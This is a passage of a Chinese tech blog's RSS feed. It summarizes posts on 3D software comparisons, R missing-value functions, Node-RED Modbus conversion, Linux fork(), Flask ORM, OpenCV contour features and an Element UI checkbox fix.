      <description>在影视后期制作的领域中，C4D和MAYA这两款软件是许多人的首选工具。然而，它们之间存在一些重要的差异，这些差异可能会影响您的选择和使用。接下来，我们将深入探讨C4D和MAYA之间的主要区别，以帮助您更好地理解它们各自的特点和适用范围。&#xA;首先，让我们来看看C4D和MAYA的定位差异。C4D以其高效、简洁的界面和强大的实时渲染功能著称，它特别适合设计师和初学者。由于其易于学习和使用，C4D已成为许多小型团队和个人的首选工具。另一方面，MAYA则是一款面向电影、电视剧和其他高端制作领域的专业软件。它的复杂性和模块化设计使其特别适合大型团队进行协作，以及需要精细控制的高级制作流程。&#xA;其次，用户群体的需求也影响了这两款软件的发展方向。MAYA的用户基础主要来自好莱坞电影产业，它为长周期、流水线化的制作流程提供了强大的支持。这种背景使得MAYA在角色动画、游戏开发、影视模型和特效等方面具有显著的优势。相比之下，C4D的用户群体更加广泛，包括设计师、广告商和那些寻求快速、高效解决方案的后期制作人员。&#xA;最后，我们不能忽视的是C4D和MAYA在功能上的专长。C4D在渲染、材质、灯光和运动图形动画方面具有显著的优势。它的预设功能使得用户可以轻松实现各种效果，而无需进行复杂的设置或编程。而MAYA则以其角色动画和游戏开发功能而闻名，它在这些领域提供了卓越的性能和精度。&#xA;总结来说，C4D和MAYA各有千秋，选择哪款软件主要取决于您的具体需求和目标。如果您需要一款易于使用、高效且适用于各种制作需求的软件，C4D可能更适合您。而如果您在大型团队中进行高端电影或电视剧制作，或者需要精细控制制作流程，那么MAYA可能是更好的选择。无论您选择哪款软件，都建议您深入了解其功能和特点，以便更好地满足您的制作需求。如果您需要更多关于Maya和C4D的信息，可以参考一些相关网站，如创造家（chuagnzaojia.com）等。这些网站提供了丰富的教程、资源和讨论，可以帮助您更好地了解和学习这两款软件。</description>
    </item>
    <item>
      <title>R语言【stats】——处理R对象中的缺省值：na.fail(), na.omit(), na.exclude(), na.pass()</title>
      <link>https://bchobby.github.io/posts/ac546e24c111c4ec055a5ab88d17153f/</link>
      <pubDate>Thu, 28 Dec 2023 16:14:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac546e24c111c4ec055a5ab88d17153f/</guid>
      <description> Package stats version 4.3.2&#xA;Parameters na.fail(object, ...) na.omit(object, ...) na.exclude(object, ...) na.pass(object, ...) 参数【object】：R 对象，通常是一个数据帧。&#xA;参数【...】：特殊方法可能需要的其他参数。&#xA;目前，它们只能处理向量、矩阵以及由向量和矩阵组成的数据帧。&#xA;如果 na.omit 删除了实例，那么实例的行号就会构成结果的 &#34;na.action&#34; 属性，其类别为 &#34;omit&#34;。&#xA;na.exclude 与 na.omit 的区别仅在于结果的 &#34;na.action&#34; 属性类别是 &#34;exclude&#34;。&#xA;Example &amp;gt; DF &amp;lt;- data.frame(x = c(1, 2, 3), y = c(0, 10, NA)) &amp;gt; na.omit(DF) x y 1 1 0 2 2 10 </description>
    </item>
    <item>
      <title>不同角度深入探讨Maya和Blender这两款软件的差异</title>
      <link>https://bchobby.github.io/posts/3e5a20089a6f2be8f9d8eb99339d319f/</link>
      <pubDate>Thu, 28 Dec 2023 16:08:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e5a20089a6f2be8f9d8eb99339d319f/</guid>
      <description>当我们面对三维建模软件的选择时，许多初学者可能会感到迷茫。今天，我们将从不同角度深入探讨Maya和Blender这两款软件的差异，特别是对于游戏建模领域的用户来说，这将有助于您更好地理解两者之间的区别。&#xA;软件授权与开发背景：&#xA;Maya：由美国Autodesk公司开发的Maya，是一款专业级的3D动画软件。它在影视广告、人物动画和电影特效等领域有着广泛的应用。由于其强大的功能和高效的工作流程，Maya得到了专业人士的高度评价，当然，它的价格也相对较高。&#xA;Blender：作为一款开源的3D动画软件，Blender由Blender Foundation开发并遵循GPL协议。尽管它的开发背景与Maya不同，但Blender提供了从建模、动画到渲染等一系列的3D制作工具，且完全免费。&#xA;操作习惯与界面布局：&#xA;Maya：拥有菜单操作、空格键操作、快捷键操作和鼠标操作等多种方式。用户可以通过这些操作方式快速找到所需工具和功能。其界面布局相对固定，但提供了丰富的自定义选项。&#xA;Blender：主要依赖于快捷键操作，这可能需要用户一段时间的适应。不过，Blender的界面布局非常灵活，用户可以根据自己的工作习惯进行调整。&#xA;软件开发与社区生态：&#xA;Maya：Autodesk团队对Maya进行了深入的研发，并且有大量的专业用户为其贡献插件和工具，形成了强大的社区生态。在特效制作领域，Maya的使用非常普遍。&#xA;Blender：Blender的开发则依赖于社区的力量，许多功能都是由社区成员自发贡献的。这使得Blender的功能更新非常迅速，但也可能带来一定的不稳定因素。&#xA;资源获取与学习成本：&#xA;Maya：由于其广泛的应用和较长的开发历史，Maya拥有大量的教程和资源。无论是官方还是社区都提供了大量的学习资料，这使得Maya的学习曲线相对平缓。&#xA;Blender：尽管Blender的教程和资源相对较少，但随着其社区的不断壮大，现在已经有越来越多的学习资料涌现。对于初学者来说，可能需要更多的时间和精力去寻找合适的教程和资源。&#xA;总结：Maya和Blender各有千秋。Maya更适合专业用户，具有稳定性和高度定制化的特点；而Blender则以其开源和灵活的特性吸引了大量用户。选择哪款软件取决于您的具体需求和使用场景。如果您刚开始接触3D建模，Blender可能是一个更经济的选择；而如果您在影视或广告行业工作，Maya可能会更适合您。无论选择哪款软件，都建议您加入相关的社区，与其他用户交流经验和学习心得，这将有助于您更好地掌握这两款强大的工具。&#xA;如果您需要更多关于Maya和Blender的信息，可以参考一些相关网站，如创造家（chuagnzaojia.com）等。这些网站提供了丰富的教程、资源和讨论，可以帮助您更好地了解和学习这两款软件。</description>
    </item>
    <item>
      <title>node-red：modbus协议数据格式转换</title>
      <link>https://bchobby.github.io/posts/1071d72156c53beb064e71959fd72b5d/</link>
      <pubDate>Thu, 28 Dec 2023 16:08:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1071d72156c53beb064e71959fd72b5d/</guid>
      <description>node-red：MODBUS协议数据格式转换 一、32word转换1.1 写操作1.2 读操作 二、字符串转换2.1 字符串写操作2.2 字符串读操作 三、有符号整数转换3.1 有符号16word转换3.1.1 负数 读 操作3.1.2 负数 写 操作 源码 本文将描述通过node-red采集工业数据时，采集到的数据需要进行转换的操作方法。 对于运行在RTU或ASCII传输模式下的modbus协议，它接收主设备发送的指令报文，并根据窗口配置的数据返回主设备需要的指令报文。根据Modbus协议的规定，所有的数值都是以16位二进制形式进行存储和运算的。 注意：node-red通过modbus协议采集时，端口不能在0-100以内，node-red会出问题 回到目录&#xA;一、32word转换 Modbus协议中，32位整数的存储格式会因具体的数据类型而有所不同。Modbus协议对32位整数的存储方式是将该整数分解为两个16位的寄存器来处理，第一个元素是高16位，第二个元素是低16位，具体的字节顺序可以有4种选择：大端序、小端序、大端字节交换和小端字节交换。例如，一个的32位整数0x12345678在Modbus中的存储形式可能会是：0x12 0x34 0x56 0x78，具体取决于所选择的字节顺序。其中：&#xA;大端序Big-Endian（BE）：将最高位字节存储在最低的地址位置；小端序（LE）：则是将最高位字节存储在最高的地址位置；大端字节交换和小端字节交换（BIG_ENDIAN和LITTLE_ENDIAN）：指将每个字节的顺序颠倒，但不考虑符号位。 1.1 和1.2 涉及的所有js转换代码，有符号、无符号的32位整数都适用&#xA;1.1 写操作 将32位整数转换为16位整数数组 使用大端序（BE）的转换方式，js代码如下： - modScan32的modbus默认转换方式是这个 /** 使用大端序（BE）的转换方式，将一个32位整数，转换为一个包含两个元素的数组， * 其中第一个元素是高16位，第二个元素是低16位 */ function int32ToArrayBE(num) { const high = (num &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF; const low = num &amp;amp; 0xFFFF; return [high, low]; } 使用小端序（LE）的转换方式，js代码如下： /** 使用小端序LE的方式的转换方式，将一个32位整数，转换为一个包含两个元素的数组,其中第一个元素是高16位，第二个元素是低16位 */ function int32ToArrayLE(num) { const high = (num &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF; const low = num &amp;amp; 0xFFFF; return [high, low]; } 通过modbus节点写入，示例如下</description>
    </item>
    <item>
      <title>大创项目推荐 深度学习YOLO安检管制物品识别与检测 - python opencv</title>
      <link>https://bchobby.github.io/posts/f164c4f8dad3d89859401b4ff3613733/</link>
      <pubDate>Thu, 28 Dec 2023 16:07:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f164c4f8dad3d89859401b4ff3613733/</guid>
      <description>文章目录 0 前言1 课题背景2 实现效果3 卷积神经网络4 Yolov55 模型训练6 实现效果7 最后 0 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 **基于深度学习YOLO安检管制误判识别与检测 **&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：4分工作量：3分创新点：4分 🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;1 课题背景 军事信息化建设一直是各国的研究热点，但我国的武器存在着种类繁多、信息散落等问题，这不利于国防工作提取有效信息，大大妨碍了我军信息化建设的步伐。同时，我军武器常以文字、二维图片和实体武器等传统方式进行展示，交互性差且无法满足更多军迷了解武器性能、近距离观赏或把玩武器的迫切需求。本文将改进后的Yolov5算法应用到武器识别中，将武器图片中的武器快速识别出来，提取武器的相关信息，并将其放入三维的武器展现系统中进行展示，以期让人们了解和掌握各种武器，有利于推动军事信息化建设。&#xA;2 实现效果 检测展示&#xA;3 卷积神经网络 简介&#xA;卷积神经网络 (CNN)&#xA;是一种算法，将图像作为输入，然后为图像的所有方面分配权重和偏差，从而区分彼此。神经网络可以通过使用成批的图像进行训练，每个图像都有一个标签来识别图像的真实性质（这里是猫或狗）。一个批次可以包含十分之几到数百个图像。&#xA;对于每张图像，将网络预测与相应的现有标签进行比较，并评估整个批次的网络预测与真实值之间的距离。然后，修改网络参数以最小化距离，从而增加网络的预测能力。类似地，每个批次的训练过程都是类似的。&#xA;相关代码实现&#xA;cnn卷积神经网络的编写如下，编写卷积层、池化层和全连接层的代码&#xA;​&#xA;conv1_1 = tf.layers.conv2d(x, 16, (3, 3), padding=&#39;same&#39;, activation=tf.nn.relu, name=&#39;conv1_1&#39;) conv1_2 = tf.layers.conv2d(conv1_1, 16, (3, 3), padding=&#39;same&#39;, activation=tf.nn.relu, name=&#39;conv1_2&#39;) pool1 = tf.layers.max_pooling2d(conv1_2, (2, 2), (2, 2), name=&#39;pool1&#39;) conv2_1 = tf.layers.conv2d(pool1, 32, (3, 3), padding=&#39;same&#39;, activation=tf.</description>
    </item>
    <item>
      <title>在3D建模领域中Maya和Blender在专业性上哪个更强</title>
      <link>https://bchobby.github.io/posts/e3a7b320f63cd2477b92fc962ff2fb6c/</link>
      <pubDate>Thu, 28 Dec 2023 15:51:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3a7b320f63cd2477b92fc962ff2fb6c/</guid>
      <description>在3D建模领域中，3D Max、Maya和Blender等软件都是备受推崇的工具，它们各自独特的功能和特性为用户提供了广泛的选择。然而，在Blender和Maya之间，究竟哪一款软件更加易于上手？哪一款功能更为出众？这一问题的答案并非一成不变，因为这两款软件在不同方面均有卓越表现。&#xA;对于新手而言，选择Blender还是Maya都可能面临一定的学习难度和挑战。因此，决定哪款软件更简单主要取决于个人的使用习惯和具体需求。&#xA;以下是Blender和Maya之间的一些主要差异：&#xA;专业性：&#xA;Maya在功能专业性方面表现突出，由知名的Autodesk公司开发，与3D Max同出一脉。这使得Maya在功能覆盖面上更为广泛。&#xA;渲染能力：&#xA;Maya在渲染效果方面具有显著优势。它集成了包括Alias和Wavefront在内的多种数字效果和动画技术，从而能够生成高度逼真的渲染效果。事实上，Maya曾参与制作多部知名电影，如科幻大片《阿凡达》和动画巨作《疯狂动物城》。&#xA;资源丰富度：&#xA;Maya拥有丰富的资源库，用户可以在网络上轻松找到各类教学材料和下载资源。相比之下，Blender的资源相对较少，尤其是在中文语言支持和相关教程视频方面还有待进一步完善。&#xA;综上所述，Maya在功能多样性和渲染能力方面占据优势。对于初学者而言，选择专业性较强的软件如Maya或3D Max可能更为合适。当然，也可以尝试使用Blender来探索其是否符合个人需求。最终的选择应基于个人兴趣、学习意愿和项目需求来做出明智的决策。</description>
    </item>
    <item>
      <title>vmware中pxe服务器安装报错dracut:FATAL: Failed to find a root file system in /tmp/curl_fetch_url1/install.img</title>
      <link>https://bchobby.github.io/posts/aaeebb45fa85e7b2b10eb70f624697be/</link>
      <pubDate>Thu, 28 Dec 2023 15:51:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaeebb45fa85e7b2b10eb70f624697be/</guid>
      <description>pxe安装过程中报错如下：&#xA;解决办法：由于是vmware中虚拟机，内存给的2G导致，将内存加到到4G后，该错误没有</description>
    </item>
    <item>
      <title>fork函数详解【Linux】</title>
      <link>https://bchobby.github.io/posts/ad8663301854f4442efe6a66453b6648/</link>
      <pubDate>Thu, 28 Dec 2023 15:50:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad8663301854f4442efe6a66453b6648/</guid>
      <description>fork函数详解【Linux】 fork函数的概念fork调用后的底层细节解释fork学习中的一些笔记和问题fork的写实拷贝深拷贝的策略 fork调用失败的原因 fork函数的概念 调用fork函数可以在已存在的进程中创建一个子进程，此时，新进程叫做子进程，原进程叫做父进程。&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;pid_t fork(void);&#xA;其中pid_t的底层是int；&#xA;返回值：：子进程中返回0，父进程返回子进程id，出错返回-1&#xA;也就是这样：&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;unistd.h&amp;gt; int main() { pid_t fd = fork(); if (fd == 0) { //this area is child } else if(fd &amp;gt; 0) { // this area is parent } else { // this area is error } return 0; } fork调用后的底层细节 当我们在用户空间调用了fork以后，控制会从用户空间转移到内核空间，因为fork属于系统调用，然后内核会：&#xA;为子进程分配新的内存块和内核数据结构。以父进程为模板，将父进程的pcb和虚拟内存地址以及页表汇中的内容完整复制一份给子进程，以至于虚拟内存地址和页表以及页表和物理地址空间的映射关系，父子进程此时都是一模一样的。将子进程的pcb添加到系统进程列表中。fork返回，开始进程调度器调度。 解释fork学习中的一些笔记和问题 同一个程序，每次启动运行时，分配的pid都可能不同。命令行中的父进程一般是命令行解释器bash，命令行中启动的进程，都是bash的子进程。Linux中创建子进程有两种方式：&#xA;3.1. 在命令行行中直接启动进程。（启动进程的本质就是创建进程吗）&#xA;3.2. 通过代码来创建子进程。（一般是由父进程创建）只有父进程执行fork之前的代码，fork之后的代码父子进程都要执行。创建子进程的原因：想让子进程协助父进程完成一些工作，这些工作是单进程完成不了的。（比如边下载边播放视频），创建子进程是为了和父进程做不一样的事。为什么fork的两个返回值会给父进程返回子进程pid，给子进程返回0？&#xA;：答：因为父子进程的数量比例是 1：n , 为了使得父子进程能够一一对应，具有唯一性，且子进程主要是为了协助父进程，父进程得到了子进程的pid能够确定唯一的子进程，方便调用子进程。fork之后，父子进程谁先运行？&#xA;： 答：这个跟内核的调度机制有关，哪一个进程的pcb先被选择调度，哪一个进程就先执行，所以是不确定的。由各自pcb中的调度信息（时间片，优先级）和调度器算法决定，也就是有OS决定。 fork的写实拷贝 由于虚拟内存地址和页表以及页表和物理地址空间的映射关系，父子进程此时都是一模一样的。所以可以说父子继承一开始都是使用同一块地址空间。</description>
    </item>
    <item>
      <title>Flask学习三：模型操作</title>
      <link>https://bchobby.github.io/posts/4af2b66a9c186179b0c9dc1c2672f09b/</link>
      <pubDate>Thu, 28 Dec 2023 15:49:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4af2b66a9c186179b0c9dc1c2672f09b/</guid>
      <description>ORM flask 通过Model操作数据库，不管你的数据库是MySQL还是Sqlite，flask自动帮你生成相应数据库类型的sql语句，所以不需要关注sql语句和类型，对数据的操作flask帮我们自动完成，只需要会写Model就可以了&#xA;flask使用对象关系映射（简称为ORM）框架去操控数据库&#xA;ORM对象关系映射是一种程序技术，用于实现面向对象变成语言里不同类型系统的数据之间的转换，将对对象的操作转换为原生的SQL语句。简单易用，可以有效减少重复的SQL；性能损耗少；设计灵活，可以轻松实现复杂查询；可移植性好&#xA;数据库连接 Flask使用Python自带的ORM：SQLAlchemy。针对于Flask的支持，需要安装相应的插件&#xA;pip install flask-sqlalchemy 为什么使用sqlite而不是mysql&#xA;SQLite和MySQL是两种常见的数据库管理系统，它们之间有一些重要的区别。&#xA;数据库类型：SQLite是一种嵌入式数据库，它将整个数据库作为一个文件存储在磁盘上。而MySQL是一种客户端/服务器数据库，它以独立的服务器进程运行，并通过网络接口来处理客户端请求。&#xA;部署和配置：由于SQLite是一个嵌入式数据库，它非常容易部署和配置。你只需要在应用程序中包含SQLite的库文件即可。MySQL需要单独安装和配置数据库服务器，并通过网络连接来访问。&#xA;性能和扩展性：SQLite适用于小型应用程序和个人项目，因为它在处理大量数据和高并发访问时可能性能较低。相比之下，MySQL被设计用于处理大型数据集和高负载的应用程序，它具有更好的性能和扩展性。&#xA;功能和支持：MySQL是一个成熟的数据库管理系统，提供了广泛的功能和丰富的工具。它支持复杂的查询语言（如SQL），事务处理和高级安全特性。相比之下，SQLite是一个轻量级的数据库，功能相对较少。&#xA;并发处理：MySQL支持多个并发连接，可以同时处理多个客户端请求。SQLite在写操作时会锁定整个数据库文件，因此在高并发访问情况下可能会出现性能问题。&#xA;综上所述，SQLite适用于小型应用程序和个人项目，而MySQL适用于中大型应用程序和高负载环境。选择哪种数据库取决于你的具体需求和项目规模。&#xA;连接配置&#xA;直接看老师讲的视频好了，容易理解。千峰教育 Flask2入门 数据库连接&#xA;数据迁移 当数据库和表配置好后，需要进行数据迁移，这样会在项目中生成真正的数据库和表。&#xA;基本步骤如下：&#xA;使用cmd打开项目目录（app.py所在的目录）依次输入下面的命令 flask db init 创建迁移文件夹migrates，只调用一次flask db migrate 生成迁移文件flask db upgrade 执行迁移文件中的升级flask db downgrade 执行迁移文件中的降级 初始化&#xA;执行完会在项目根目录下生成对应的文件夹instance和migrations&#xA;生成迁移文件&#xA;会生成数据库db文件&#xA;并且会生成一个操作记录的py文件&#xA;生成表&#xA;实际上就是执行的上一次生成文件里的upgrade函数，执行完成后，我们可以使用类似dberver的工具来进行查看&#xA;修改表结构&#xA;在修改表结构时，比如新添加一列。必须要先修改对应的模型，然后在重新进行生成迁移文件、执行迁移文件中的升级。&#xA;无法生成迁移文件&#xA;如果执行flask db migrate 提示INFO [alembic.env] No changes in schema detected. 这时你可以将你的所有的模型类导入到app.py中，再次执行可以生成对应的迁移文件&#xA;数据库的常见操作 新增数据 @baseBlue.route(&#34;/add-user/&#34;) def addUser(): # 创建一个对象 user = BaseModel() user.</description>
    </item>
    <item>
      <title>PLC远程上下载物联网网关的功能</title>
      <link>https://bchobby.github.io/posts/50a462d0e221639b8697c45118cbd5b1/</link>
      <pubDate>Thu, 28 Dec 2023 15:33:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50a462d0e221639b8697c45118cbd5b1/</guid>
      <description> PLC远程上下载物联网网关的功能&#xA;设备远程监控：通过物联网网关，可以实时监控PLC设备的运行状态，获取设备的各种参数信息，以便及时发现和解决设备故障。&#xA;数据采集与传输：蓝蜂物联网PLC远程网关可以采集PLC设备的各种数据，如温度、压力、流量等，并将这些数据传输到云端或者上位机，方便用户进行数据分析和决策。&#xA;远程程序上下载与调试：蓝蜂物联网PLC远程网关支持对PLC设备的远程程序上下载与调试，用户可以在不到现场的情况下，对PLC设备进行远程程序上下载和调试，大大提高了工作效率。&#xA;远程报警通知：蓝蜂物联网PLC远程网关可以设置报警规则，一旦PLC设备出现异常情况，可以及时通知相关人员进行处理，避免设备故障导致的损失。&#xA;设备远程控制：物联网网关支持PLC设备的远程控制，用户可以通过网关对PLC设备进行启停、调整参数等操作，提高了设备的自动化程度。&#xA;数据存储与分析：物联网网关可以将采集到的数据存储到本地或者云端，方便用户进行数据分析和决策。&#xA;优势与特点：&#xA;远程管理：通过蓝蜂物联网网关，用户可以在任何地方、任何时间访问和监控PLC设备，提高了工作效率。数据实时传输：蓝蜂物联网网关能够实时传输PLC设备的数据，帮助用户及时了解设备的运行状况，并作出相应的决策。兼容性强：物联网网关支持多种PLC协议，如Modbus、西门子、三菱、台达、信捷、汇川等，可以方便地与各种PLC设备进行通信。高安全性：物联网网关具备多种安全措施，如加密传输、防拆机功能等，确保PLC设备的数据安全和系统安全。易于部署和维护：蓝蜂物联网网关具有RS485和232接口和LAN口，并支持多种PLC协议采用即插即用的设计，安装和部署非常方便。同时，网关的远程管理功能也大大降低了维护成本。降低成本：通过物联网网关，用户可以减少现场维护人员的数量，降低人力成本。同时，网关的远程监控功能也有助于减少设备故障，降低设备维修成本。提高生产效率：物联网网关可以帮助用户实时监控设备运行情况，及时发现和解决问题，提高生产效率。促进智能化生产：物联网网关是实现智能化生产的基础，通过采集和分析设备数据，为生产管理提供决策支持，提高生产智能化水平。 </description>
    </item>
    <item>
      <title>OpenCV-Python(21):轮廓特征及周长、面积凸包检测和形状近似</title>
      <link>https://bchobby.github.io/posts/cb49424c03aee64e4c87b00f8fe6a96a/</link>
      <pubDate>Thu, 28 Dec 2023 15:32:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb49424c03aee64e4c87b00f8fe6a96a/</guid>
      <description>2. 轮廓特征 轮廓特征是指由轮廓形状和结构衍生出来的一些特征参数。这些特征参数可以用于图像识别、目标检测和形状分析等应用中。常见的轮廓特征包括：&#xA;面积：轮廓所包围的区域的面积。周长：轮廓的周长，即轮廓线的长度。弧长：轮廓线的弧长，即轮廓的长度。轮廓矩：轮廓的几何矩，用于描述轮廓的形状。轮廓重心：轮廓所包围区域的重心坐标。外接矩形：能够完全包围轮廓的矩形。最小外接矩形：能够紧密包围轮廓的矩形，且角度与轮廓的方向一致。外接圆：能够完全包围轮廓的圆。最小外接圆：能够紧密包围轮廓的圆。椭圆拟合：能够最好地拟合轮廓的椭圆。凸包：能够包围轮廓的最小凸多边形。轮廓层级：描述轮廓的嵌套关系。 这些轮廓特征可以通过OpenCV库的cv2.contourArea()、cv2.arcLength()、cv2.moments()、cv2.boundingRect()、cv2.minAreaRect()、cv2.minEnclosingCircle()、cv2.fitEllipse()、cv2.convexHull()等函数来计算和获取，下面主要介绍一些常用的特征。&#xA;2.1 目标 查找轮廓的不同特征，例如面积、周长、重心、边界框等。&#xA;学习和掌握轮廓相关函数&#xA;2.2 矩特征 图像矩是一种描述图像几何特征的数学工具，用于描述图像的形状、位置和分布等信息，以帮助我们计算图像的质心、面积等。图像矩可以用于图像识别、目标检测、形状分析等应用中。图像矩的计算是基于图像像素的灰度值进行的，常见的图像矩包括原点矩、中心矩和归一化矩。使用OpenCV库的cv2.moments()函数可以计算图像的矩。该函数接受一个二值化的图像作为输入，并返回一个包含各种矩的字典。可以通过字典的键来获取不同的矩。以下是一个示例代码，演示如何计算图像的矩：&#xA;import cv2 # 读取图像 image = cv2.imread(&#34;image.jpg&#34;) # 灰度化 gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # 二值化 ret, thresh = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY) # 计算矩 moments = cv2.moments(thresh) # 获取原点矩 m00 = moments[&#34;m00&#34;] m10 = moments[&#34;m10&#34;] m01 = moments[&#34;m01&#34;] # 获取中心矩 cx = int(m10 / m00) cy = int(m01 / m00) # 获取归一化矩 nu20 = moments[&#34;nu20&#34;] nu02 = moments[&#34;</description>
    </item>
    <item>
      <title>【MATLAB】交叉验证求光滑因子的广义神经网络时序预测算法</title>
      <link>https://bchobby.github.io/posts/c13fa6f5935e5be8f73178cda28e0a3a/</link>
      <pubDate>Thu, 28 Dec 2023 15:28:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c13fa6f5935e5be8f73178cda28e0a3a/</guid>
      <description>有意向获取代码，请转文末观看代码获取方式~也可转原文链接获取~&#xA;1 基本定义 交叉验证求光滑因子的广义神经网络时序预测算法的基本原理如下：&#xA;首先，我们需要了解什么是交叉验证和光滑因子。交叉验证是一种评估模型性能的常用方法，通过将数据集分成多个部分，然后使用其中的一部分数据进行模型训练，另一部分数据用于测试模型性能。通过多次重复验证，可以获得更准确和稳定的模型性能评估结果。而光滑因子则是一种用于调整模型复杂度和过拟合程度的参数，其作用是控制模型对训练数据的拟合程度。&#xA;在交叉验证求光滑因子的广义神经网络时序预测算法中，首先将数据集分成训练集和测试集，然后使用训练集对广义神经网络进行训练，得到初步的模型参数。接下来，通过交叉验证对初步模型进行评估，并利用评估结果调整光滑因子的大小。在调整光滑因子的过程中，可以使用网格搜索（Grid Search）等方法来寻找最优的光滑因子。&#xA;通过交叉验证和调整光滑因子，可以获得一个较为准确和稳定的广义神经网络模型。最后，使用该模型对测试集进行预测，并评估模型的预测性能。&#xA;交叉验证求光滑因子的广义神经网络时序预测算法的优点在于：&#xA;可以有效地避免过拟合和欠拟合问题，提高模型的泛化性能；&#xA;通过交叉验证可以获得更准确和稳定的模型性能评估结果；&#xA;可以通过调整光滑因子来控制模型的复杂度和拟合程度，进一步优化模型的性能。&#xA;除了上述提到的优点，交叉验证求光滑因子的广义神经网络时序预测算法还具有以下特点：&#xA;「可解释性」：该算法通过交叉验证和光滑因子调整，可以使得模型的结果具有更好的可解释性。我们可以通过交叉验证的结果，了解模型在各种不同情况下的表现，从而更好地理解模型的性能。&#xA;「鲁棒性」：由于该算法使用了交叉验证，因此对于数据集的划分方式不敏感，使得算法具有一定的鲁棒性。即使在数据集划分不均的情况下，该算法仍然能够获得较为准确的结果。&#xA;「适用范围广」：该算法适用于各种不同的时序预测问题，只要数据满足时序预测的基本假设即可。同时，由于广义神经网络具有较强的非线性拟合能力，因此对于一些复杂的时序数据，该算法也能够获得较好的预测结果。&#xA;总的来说，交叉验证求光滑因子的广义神经网络时序预测算法是一种有效的时序预测方法，具有较好的泛化性能、可解释性和鲁棒性，适用于各种不同的时序预测问题。&#xA;交叉验证求光滑因子的广义神经网络时序预测算法的原理基于以下步骤：&#xA;「数据集的划分」：首先，将时间序列数据集分成训练集和测试集。训练集用于训练模型，而测试集用于评估模型的预测性能。&#xA;「模型训练」：使用训练集对广义神经网络进行训练，得到初步的模型参数。广义神经网络是一种能够处理非线性问题的神经网络模型，具有较好的泛化性能。&#xA;「交叉验证」：对初步模型在训练集上进行交叉验证，通过比较预测值和实际值来评估模型的性能。交叉验证可以帮助我们更准确地评估模型的泛化能力，因为这样可以利用更多的数据来训练和验证模型。&#xA;「调整光滑因子」：根据交叉验证的结果，调整光滑因子的大小。光滑因子是一个控制模型复杂度和过拟合程度的参数，通过调整它可以找到最优的模型复杂度。在调整过程中，可以使用网格搜索等方法来寻找最优的光滑因子。&#xA;「模型评估」：使用测试集对调整后的模型进行预测，并评估模型的预测性能。常用的评估指标包括均方误差（MSE）、均方根误差（RMSE）等。&#xA;「模型优化」：根据模型评估的结果，对模型进行进一步的优化和调整，以提高预测性能。&#xA;交叉验证求光滑因子的广义神经网络时序预测算法的原理是基于对时间序列数据的深入理解和分析，通过合理的数据划分、模型训练和调整，以及有效的模型评估和优化，实现时间序列的准确预测。&#xA;2 出图效果 附出图效果如下：&#xA;附视频教程操作：&#xA;【MATLAB】交叉验证求光滑因子的广义神经网络时序预测算法</description>
    </item>
    <item>
      <title>element ui Checkbox 多选框组件 lable不支持Object类型的值的问题</title>
      <link>https://bchobby.github.io/posts/ed704fafed5a3f2efe1c58bdc7c866d2/</link>
      <pubDate>Thu, 28 Dec 2023 15:17:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed704fafed5a3f2efe1c58bdc7c866d2/</guid>
      <description>浅浅记录一下，遇到这个问题的心理路程吧，首先我遇到的问题是多选框的值回显不打对勾，（例如：你新增的时候多选，然后点击编辑的时候选过的值没有被勾选，其实是被勾选上了，但是没有显示对勾，因为我点击已经选择过值就会取消勾选，说明这个值其实是回显了，但是不显示对勾），然后我就去查element ui，发现他的多选框的label只支持string / number / boolean，不支持object的形式，但是我的业务场景需要label的类型为object，于是尝试了各种方法之后，找到了一个最为合适的解决方案&#xA;1.写一个新组件&#xA;&amp;lt;script&amp;gt; // new-el-checkbox.vue 支持OBJECT 类型 import { defineComponent } from &#39;@vue/composition-api&#39; import { Checkbox } from &#39;element-ui&#39; import _isEqual from &#39;lodash/isEqual&#39; // Now support array of object by adding _isEqual to compare the values // Specify the value of checkbox with &#39;label&#39; prop, not &#39;value&#39; prop export default defineComponent({ extends: Checkbox, computed: { // eslint-disable-next-line vue/return-in-computed-property isChecked() { if ({}.toString.call(this.model) === &#39;[object Boolean]&#39;) { return this.</description>
    </item>
    <item>
      <title>基于深度学习的车型检测系统（含UI界面，yolov8、Python代码，数据集）</title>
      <link>https://bchobby.github.io/posts/79d47601c7a691664e0b407beab70e50/</link>
      <pubDate>Thu, 28 Dec 2023 15:11:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79d47601c7a691664e0b407beab70e50/</guid>
